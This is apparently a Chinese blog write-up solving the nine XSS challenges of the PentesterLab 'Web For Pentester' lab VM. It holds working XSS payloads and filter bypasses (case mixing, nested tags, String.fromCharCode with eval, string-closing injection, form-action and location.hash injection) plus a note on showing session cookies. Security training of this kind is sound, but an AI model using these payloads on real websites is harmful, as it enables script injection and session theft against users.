本次做的是Web For Pentester靶机里面的XSS题目,一共有9道题目。
关于靶机搭建参考这篇文章:渗透测试靶机的搭建
第1题(无过滤措施)
首先在后面输入xss:
http://10.211.55.16/xss/example1.php?name=xss
看到如下页面:
然后查看下源码:
感觉这里没有任何的防御措施,忍不住笑出了声。
有很多的标签里面都可以调用HTML的事件属性来弹窗,为了节约时间,下面我就列举出一些比较常用的手法。
利用基本的script标签来弹窗
Payload
<script>alert('xss')</script>
定义和用法
script 标签用于定义客户端脚本,比如 JavaScript。
效果图
利用iframe标签的的src属性来弹窗
Payload
<iframe src=javascript:alert('xss')></iframe>
定义和用法
iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。
效果图
利用标签的href属性来弹窗
Payload
<a href=javascript:alert('xss')>ggtest</a>
这里就是超链接到了:javascript:alert('xss')
效果和浏览器直接打开这个地址:javascript:alert('xss')
是一样的
这里还可以使用:javascript:alert(document.cookie)
来弹出当前会话的cookie
定义和用法
标签定义超链接,用于从一张页面链接到另一张页面。
元素最重要的属性是 href 属性,它指示链接的目标。
指向国光博客的一个例子:
<a href="http://git.sqlsec.com”>国光博客</a>
效果图
利用标签来弹窗
Payload
<img src=1 onerror=alert('xss')>
这里的src后面是填写的 是 图片的地址
,为了 测试简便 这个地址里面我们一般随便填写,比如这里我们填写的就是 1
,因为1
不是一个正确的值,所以 触发了后面的 onerror
事件(遇到错误 就触发)
当然如果在src里面填写一个正常的URL的话,就不会弹窗的了,因为onerror的触发条件是得报错。
当src
后面的值是正确的时候呢,这个还可以用 oneclick
事件来触发弹窗
<img src=http://www.sqlsec.com/favicon.ico onclick=alert('xss')>
这里不论src后面的值 是否正确,只要鼠标点击,就会触发 弹窗事件。
类似onerror和onclick的时间有很多种下面
列举出常见的事件
Windows事件属性
事件 | 作用 |
---|---|
onerror | 在错误发生时运行的脚本 |
onload | 页面结束加载之后触发 |
Keyboard 事件
事件 | 作用 |
---|---|
onkeydown | 在用户按下按键时触发 |
onkeypress | 在用户敲击按钮时触发 |
onkeyup | 当用户释放按键时触发 |
鼠标(Mouse)事件
事件 | 作用 |
---|---|
onclick | 元素上发生鼠标点击时触发 |
onmousedown | 当元素上按下鼠标按钮时触发 |
onmousemove | 当鼠标指针移动到元素上时触发。 |
onmouseover | 当鼠标指针移动到元素上时触 |
onmouseout | 当鼠标指针移出元素时触发 |
onmouseup | 当在元素上释放鼠标按钮时触发 |
定义和用法
img 元素向网页中嵌入一幅图像。
请注意,从技术上讲, 标签并不会在网页中插入图像,而是从网页上链接图像。 标签创建的是被引用图像的占位空间。
标签有两个必需的属性:src 属性 和 alt 属性
凡是支持事件的HTML标签都是可以弹窗的,在HTML中支持事件属性的标签很多,下面我就
列举出一些支持事件的HTML常见标签
标签 | 作用 |
---|---|
a | 定义超链接,用于从一张页面链接到另一张页面,最重要的属性是 href 属性,它指示链接的目标 |
article | 规定独立的自包含内容一篇文章应有其自身的意义,应该有可能独立于站点的其余部分对其进行分发 |
audio | 定义声音,比如音乐或其他音频流 |
b | 规定粗体文本 |
body | 定义文档的主体,包含文档的所有内容 |
br | 只是简单地开始新的一行 |
button | 定义一个按钮 |
iframe | 会创建包含另外一个文档的内联框架 |
img | 向网页中嵌入一幅图像 |
select | 可创建单选或多选菜单 |
style | 用于为 HTML 文档定义样式信息 |
textarea | 标签定义多行的文本输入控件 |
video | 定义视频,比如电影片段或其他视频流 |
第一题因为没有任何的过滤,所以理论上支持调用HTML事件属性的标签都是可以成功弹窗的,下面来个
综合点的payload
http://10.211.55.16/xss/example1.php?name=<button type="button" onclick=alert('xss')>通过按钮点击触发xss</button> <font size="4" color="blue" onmouseover=alert('xss')> 移动到元素触发xss </font> <br>
<select> <option onclick=alert('x')>onclick点击触发事件</option> <option values=1 onmousedown=alert('ss')>onmousedown触发</option></select> <a href=javascript:alert('xss')>利用a标签的href属性触发</a> <br>
<textarea placeholder=国光的xss测试:键盘按键触发xss onkeypress=alert('xss')></textarea>
第2题(大小写转换)
这一题的话, 除了<script>alert('xss')</script>
这个payload,其他用第一题中的其他payload:
<iframe src=javascript:alert('xss')></iframe>
<a href=javascript:alert('xss')>ggtest</a>
<img src=1 onerror=alert('xss')>
...
依然还是可以的,好吧,为了不这么容易做完这道题目,我们来下面的题目都尽量使用<script>alert('xss')</script>
来试试看
查看下源码:
这里我们猜测过滤<script>
和</script>
然后这里尝试下大小写转换,尝试着绕过过滤:
<Script>alert('xss')</scripT>
可以看到成功绕过了:
第3题(嵌套构造)
直接输入
<Script>alert('xss')</scripT>
发现大小写转换的这个套路已经不能够使用了
得到结论是:没有过滤alert('xss'),现在就把注意力集中在 <script>
和</script>
上
Fuzz测试一下,看看具体过滤了哪些字符?然后再想办法绕过。
http://10.211.55.16/xss/example3.php?name=<></>script<script>
可以看出过滤了:</script>
和<script>
尝试构造输入:
http://10.211.55.16/xss/example3.php?name=<sc<script>ript>
查看源码后发现成功构造出
<script>
于是判断这里只顾虑了一次,接着尝试构造如下完整的payload:
http://10.211.55.16/xss/example3.php?name=<sc<script>ript>alert('xss')</s</script>cript>
第4题(利用标签绕过)
直接输入:<script>alert('xss')</script>
发现直接 error
了
于是再次出尝试输入:
http://10.211.55.16/xss/example4.php?name=<>alert('xss')</>
再次得出结论:没有过滤<>
</>
alerrt('xss')
,现在主要想办法对script
做个处理来绕过过滤。
然而我各种编码都没有绕过,有的编码的确是绕过了,但是貌似没有解析脚本 =,=
哎~~~放弃用这种形式的<script>alert('xss')</script>
的payload了,于是乎使用下面的<img>标签
成功绕过:
<img src=1 onerror=alert('xss')>
第5题(String.fromCharCode编码绕过)
首先执行:
<script>alert('xss')</script>
发现直接就 报 error了,于是fuzz测试发现并没有过滤:<script>
和</script>
只是过滤了:alert
利用火狐浏览器的hackbar
插件对alert('xss')
进行String.fromCharCode
转换:
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59))</script>
第6题(闭合标签)
首先默认查看下源码:
发现我们输出的hacker
作为了一个变量赋值给了a,并且这个变量在<script>
这个标签中
这样的话,只要能够突破这个赋值的变量,就可以利用这个<script>
这个标签来弹窗了。
下面想办法闭合进行fuzz测试......
这里边看源码边做调整。几次测试后得到如下可以弹窗的payload:
11";</script><img src=1 onerror=alert('xss')><script>
来查看下源码来简单的分析一下:
Hello
<script>
var $a= "11";</script><img src=1 onerror=alert('xss')><script>";
</script>
<footer>
<p>© PentesterLab 2013</p>
</footer>
pauyload最前面的
11";</script>
闭合了前面的<script>
标签
最后面的
<script>
闭合了后面的<script>
标签
中间的
<img src=1 onerror=alert('xss')>
用来触发 弹窗事件
第7题
首先来查看下源码:
感觉貌似和第6题差不多,于是稍微修改了下使用下面的payload来进行测试:
hacker';</script><img src=1 onerror=alert('xss')><script>
结果并没有弹窗,赶紧查看下源码压压惊:
可以看到对输入的 <
和/
和>
符号进行转义了,导致我们的弹窗失败。
所以现在的着重点就是 如何处理这些符号:
<
和/
和>
然而我失败了,对这些符号进行转码也是失败了,后来想了好久终于知道问题所在了:
受到以前闭合一句话木马的缘故,我老是想着闭合首尾的标签
后来仔细想想,这个变量 就在<script>
里面,可以在里面直接写alert('xss')来弹窗的,这样也就不需要使用
<
和/
和>
特殊符号了。这么看来的话,第6题 也应该这么来做,奇葩的我,居然是闭合的方式来弹窗的....
http://10.211.55.16/xss/example6.php?name=name=";alert('xss');var b="
查看下源码:
Hello
<script>
var $a= "name=";alert('xss');var b="";
</script>
<footer>
<p>© PentesterLab 2013</p>
</footer>
这里 巧妙的利用了 ;
来在<script>
标签里面执行alert('xss')
第8题
是一个输入框,然后输入payload:<img src=1 onerror=alert('xss')>
;来试试看,查看源码:
HELLO <img src=1 onerror=alert('xss')><form action="/xss/example8.php" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
<footer>
<p>© PentesterLab 2013</p>
</footer>
发现也是对 <
>
标签进行转义了,这里进行各种编码也没有绕过。
又是好久也没有成功突破,最后仔细看源码,发现突破点在于
<form action="/xss/example8.php"
这是第8题的URL,于是注意力转移到URL处,尝试在URL后面添加
http://10.211.55.16/xss/example8.php/
查看源码:
发现我们最后添加的 :/
写在了<form>
这个标签中,于是在这里进行fuzz测试,尝试闭合标签,最后构造的payload如下:
http://10.211.55.16/xss/example8.php/"><img src=1 onerror=alert('xss')><form
来查看下源码来分析刚刚构造的payload:
<form action="/xss/example8.php/"><img src=1 onerror=alert('xss')><form" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
可以看到这里
/"
闭合了最前面的<form>
<form>
闭合了最后面的/>
中间的
<img src=1 onerror=alert('xss')>
触发了弹窗事件
第9题
这一题很特殊,不愧是大boss,这里首先查看下源码:
在源码中完全找不到hacker
的任何字样,于是仔细百度最可疑的地方:
<script>
document.write(location.hash.substring(1));
</script>
找到一份资料:http://www.runoob.com/jsref/prop-loc-hash.html
这里可以大概看出这里是读取#
后面的东西,于是乎简单的在#
后面构造xss语句:
http://10.211.55.16/xss/example9.php#<img src=http://www.sqlsec.com/favicon.ico onclick=alert('Bingo')>
最后一道题目了,得录制个gif来庆祝一下:
小结
虽然这个平台只有9道题目,但是用心去整理拓展,发现可以学到很多xss的姿势,这样又把以前快忘记的xss姿势巩固提高了一下,更好的为不久后挖BAT的XSS漏洞做好基础知识的准备。